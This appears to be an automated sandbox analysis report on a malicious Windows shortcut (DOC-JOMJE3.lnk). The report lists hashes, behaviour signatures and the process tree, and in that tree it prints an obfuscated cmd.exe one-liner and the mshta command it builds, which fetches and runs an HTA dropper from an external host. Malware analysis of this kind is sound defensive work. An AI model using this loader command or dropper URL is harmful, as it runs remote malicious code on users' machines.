Analysis

  • max time kernel
    148s
  • max time network
    136s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:29

General

  • Target
    DOC-JOMJE3.lnk
  • Size 2KB
  • Sample260804-kdnbesvglf
  • SHA256 4c6ed5e2dc49a4ae5779a9de4617de39b34a7151cb8563a3b377c9c2125b1e29
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-JOMJE3.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4644
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D /v:on /C "set kB=infmrhtzsivxauninf&&set lyP=prmsou&&set XLUC=woht5m&&set ti=hfa1e&&set hOiH=a71starzpl&&set QOW=a6tx&&set OiCWm=oldukdfjgknold&&set zQoiS=cachejdqcxcache&&set KPwf=oldixrultsold&&set Qo=cfgxgywmaicoxrwlcfg&&set nPRkj=oldwzxymrdlold&&set kI=infwgqtsfbinf&&set NTdx=cfgpbkcnmtnsilcfg&&set dY=logrxfrhrclog&&set in=ht@t@ps@://ma-@[email protected]@at@/@h/e@st@a@gio1.@ph@p@?r=39@1@469FB5D8@2@DB&&start /b !lyP:~2,2!!XLUC:~2,2!!ti:~2,1! !in:@=!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4136
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:5024

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads